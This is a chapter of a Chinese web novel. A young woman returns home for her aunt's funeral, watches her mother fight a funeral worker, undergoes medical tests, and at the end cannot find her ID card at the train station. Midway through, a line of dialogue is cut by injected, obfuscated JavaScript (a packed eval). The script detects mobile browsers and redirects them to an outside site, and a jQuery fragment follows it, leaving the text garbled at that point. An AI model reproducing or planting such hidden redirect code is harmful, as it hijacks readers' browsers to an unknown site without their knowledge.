从镇子到县城，还得坐四十分钟的大巴。
但那么长时间的高铁，她反胃吃不下东西，实在熬得反酸，就没坐大巴，花五块钱上了辆面包车。
面包车开起来还是想吐，但总归比各种味道混杂的大巴好许多。
以前往返的时候，王女士从来不让她坐面包车，倒不是别的，怕她被黑车司机拐卖。
这点上宋呓欢心态很好，她从高铁站走到汽车站这一路，是个人就盯着她满头粉发看。
黑车司机要是人贩子，肯定不会让她上车。
快开到的时候，王女士的消息掐准了似的发过来：
【到哪了？我在大路口等你。】
在她们那儿大路是特指那一条路，那条最宽敞背后还有小商场的路。
巴士站也在那条路上，但黑车不到，拐弯之前就得停，——大路上有探头，抓黑车的。
宋呓欢坐黑车的事被抓个正着。
“妈拿。”
王女士竟然没骂她，抬手将粉色行李箱接过来。
她跟王女士一年没见，连个视频都没打，她总觉着王女士瘦了，但其实王女士体重很稳定，瘦削的那种稳定。
她是那种干瘦干瘦，说话能看见皮下青筋骨骼那种女人，说话带点沙沙的哑，嗓门还特大，不怎么温柔。
迷信点的老人都会说长她这样的女人没福气。
她爷爷去世之前，她奶奶就总说王女士长得没福气，后来爷爷和爸爸去世，她奶奶开始骂自己没福气。
宋呓欢根本想不通这什么鬼逻辑。
行李箱从石板路拖上柏油路，再拖上布满沙砾的土路，轮子的声音越来越吵。宋呓欢反倒松口气，这样就算说话也听不清，不用没话找话。
她们母女俩打电话还能聊两句，可真见了面，她一时真不知道说什么。
她签完退出实验组的意向书的时候，都以为自己这辈子算是跟王女士决裂了呢。
现在觉着那想法是她天真，这世上没有妈妈能主动跟女儿决裂。
她逃跑后，王女士跟她打电话的语气一反常态，硬是捏着嗓子，多少让她听出些温柔的意味。
“妈妈想你啊。”第一次打电话的时候，王女士这样说。
她看着王女士拖着行李箱的背影，回忆翻涌着，一时都想不起来，自己一年前接完电话是怎么硬着心肠，硬是不肯回来的。
宋呓欢吸口气，追上去，顶着行李箱轰隆轰隆的声音大声说：“镇上好脏，还没有咱县里路干净。我出火车站闻见好大一股下水道味，而且满地都是垃圾，旁边堆着比人都高的砖石。”
王女士看她一眼，挽住她胳膊，邦邦硬的骨架硌得她手臂生疼，——王女士手臂上的肉还没她的多。
“那不然呢，镇上随地丢东西大小便没人管，咱们这儿每块地都是有数的，这块谁家晒玉米，那块谁家摆摊卖点小物件......乱搞得让人追着打。”
“嘿嘿。”宋呓欢笑起来，“不成文的规矩比法律还厉害。”
“法律哪管人情。”
她家算是有钱的门户，自建房离大路很近，闭嘴走路觉着远，聊起来没几句就到了。
按他们这儿的习俗，人走了通常都停在门房里，但小姑是在医院走的，就还在医院，门房里只停了空棺椁。
院子里横七竖八摆着条凳，坐着不少人，里面多数亲戚朋友都是熟面孔，她还能盘出个亲疏远近来。
不认识的也大概能猜出远近，——因为关系跟小姑越近，此刻神情越释然，越远的神情越悲痛。
怪异极了。
比如锤着椅子抹眼泪，哭得最放肆那位，是隔条道卖卤菜的阿姨，非亲非故，估计就是来吃席的。
宋呓欢走到堆着黑孝的角落，伸手去拿，却被王女士啪地打开。
“你不戴。”她说。
“好吧。”
宋呓欢没跟她争，不让戴孝，那就不戴，她一贯觉着这种虚礼只对活人有意义。
她对着小姑称得上好看的黑白遗像笑笑，口型说句抱歉。
他们县城还有土葬的风俗，但小姑没土葬，灵车载着到镇上的火葬场，放进镇子上的墓园里。
小姑还没进icu的时候说过，骨灰烟花或者骨灰卫星都挺好。但奶奶听了只是抹眼泪，王女士凶巴巴地让她别瞎扯。
这话只有宋呓欢这个说不上话的小孩听进去了，完全没什么用。
下午送小姑的时候，不阴不晴，天空有云但不厚，有阳光但没太阳，是个毫无特点的天气。
宋呓欢慢吞吞地跟在队尾，王女士不让她碰任何跟白事相关的东西，她就只是跟着走，听着周遭时不时飘来的感叹。
“可怜啊......”
“年纪轻轻的。”
……
她很难分辨这些话有多少是说小姑，有多少是说她，又有多少是说她们这个被诅咒的家族。
“接你们一个活儿搭进去一整天，就赚那么点零头，都不够我买个新胎皮。”
方头男人站在灵车旁边骂，这人长得很奇特，腿奇粗奇短，下盘又低又稳，——她们家这边做白事营生的基本都这个体型。
“放你爷爷个狗腿儿的屁！”奶奶粗着嗓子骂，“你们这帮蚂蝗托生的没几把玩意儿......”
“妈。”王女士开口打断奶奶的物种器官含量极高的辱骂，往前一挡，“赚零头？寿衣香烛席面，哪个不是听你们安排的？多少回扣算够？”
“一码归一码，我从镇上开十几公里过来，没功劳也有苦劳......”
从镇上回来，宋呓欢还没回屋就听见门口的叫骂声，她坐在门口条凳上，扒着围墙伸头听半天，也没懂奶奶和妈妈跟白事先生到底吵什么。
“哎！馨馨姐姐。”宋呓欢拉住路过的馨馨姐姐，“这怎么回事？”
馨馨简明扼要：“三角钉扎爆胎，让赔呢。”
“哦。”宋呓欢总算听懂，“那关我们家什么事儿啊？不是他们这群抢生意的互相搞吗？”
“没走大路没监控，只能追着我们要呗。”馨馨跟她并肩坐在条凳上，“舅妈吵架真凶，脸都要怼到他脑门了。”
“谁知道是不是你们家缺德行，出不起费用还放钉子?”见要钱无望，方头白事先生彻底撕破脸，“你家再死人可别找我......”
话没说完呢，宋呓欢和馨馨同时倒吸口气。
“哎，妈！”没等王女士动作，宋呓欢就猛地弹起来。
“他完了。”馨馨害怕地缩缩脖子。
宋呓欢还没跑到地方，王女士的指甲已经抓在白事先生脸上，从眼角到鼻梁，长长的两道半血痕。
......
“不让我戴孝，然后自己拆人家灵车。”
白事先生最后逃跑似的跳上车，将车开得七扭八歪。
车开走的时候，甭管是黑花白花还是素麻白布，一概撕烂，掉在地上。卤菜的阿姨路过，叉着腰吐着唾沫，大骂晦气。
宋呓欢坐在床边，筷子夹着个巨大的香菇，嫌弃地小口啃着吃。
王女士坐在床边叠元宝，一折一拉，扁扁的折纸就膨起来，变成立体的元宝。
“妈，打架会被拘留。”宋呓欢认真说，“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456299|181631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没听过吗？打输住院，打赢拘留。”
王女士手上麻利地叠着金纸，说：“这才哪到哪，算什么打架。”
“……行吧。”她问，“金元宝是给小姑叠的？”
王女士凶巴巴地说：“别打听。”
“又不摸，就问问还不行吗？”她皱着鼻子问。
王女士扫她一眼，“明天去看你爸，后天去抽个血，做个PET-CT。”
宋呓欢抬眼：“我后天的高铁。”
“你多久没复查？”王女士眉毛几乎竖起来，“你不查也得查。”
宋呓欢想反驳，可满脑子都是她抓那位白事先生的样子，叹口气说：“那我改签，大后天再走。”
王女士不置可否。
复查当天，她被摁着去镇上的医院抽血，她都数不清一共抽了几管，只知道护士两只手都握不住，分两次放进冷藏盒里。
王女士捏着她的医保卡身份证，没陪着她，远远地坐在位子上等。
等做完所有检查，她挽着王女士走出医院。王女士开车来的，车就停在门口。
王女士将医院那些花花绿绿的纸和止痛药一并塞进塑料袋里，放到车后座。
宋呓欢没上车，她想去镇上理发店给头发补色，但琢磨半天也不知道怎么开口。
家这边补色特别便宜，但材料也比较劣质，据说致癌。虽说这话对她没啥威慑力，但王女士还是不可能让她去。
绝对不能说实话。
“上车，等什么呢？”王女士拉开副驾。
宋呓欢犹豫着说：“我想在镇上转转。”
“行。”
王女士答应得异常痛快，都没多问。宋呓欢满肚子说服她的话通通卡壳，茫然地扶着车门歪头。
“要妈送你？”见她不关门，王女士问。
“不用不用，这么大点儿地方送什么。”
宋呓欢飞快地关上门，伸手拉后排车门，去拿她随身的小包。
一拉，没拉动，车门锁着。
“包我给你带回去。”王女士说，“身份证医保卡都在里面呢，你在耍丢了。”
“哦。”
宋呓欢有些茫然地目送王女士的车。
一年没见的亲妈忽然变得通情达理，还是件挺吓人的事，总觉得会发生点什么。
直到她第二天坐大巴赶到火车站，这种未知的恐惧依然伴随着她。
镇上的火车站又小又破，门口工程绿布围了一整年，里面没有任何动静。这么小的火车站，人倒是一点不少，遍地都是编织袋和尿素袋，还有铺平的活人。
从门口到安检口那么短的路，她得踮脚绕着走。
安检口旁边有两个取票机，都白纸黑字写着已坏，她只好去排长长的人工取票通道。
人工窗口里是个穿蓝色铁路制服的男人，制服穿得很敷衍，扣子只胡乱系了一颗，露出里面泛黄的秋衣。
排到她的时候，蓝制服男人没说话，手一伸，啪嗒排在台子上。
宋呓欢被周遭拥挤人群的人味熏得大脑宕机，直愣愣地问：“哈？”
“身份证！”
蓝制服凑近麦克风，玻璃上的喇叭轰向她的脸。
“等下。”她手伸进随身的包里掏了半天，也没摸到身份证。
她顶着后面人群的抱怨开行李箱的时候，大喇叭再次发话：
“靠边找去！”
身份证……
她有些狼狈地将行李拖到旁边，蹲下来翻找。
她里里外外将每个小格子都打开，将里面的东西翻出来。
找遍了，都没有。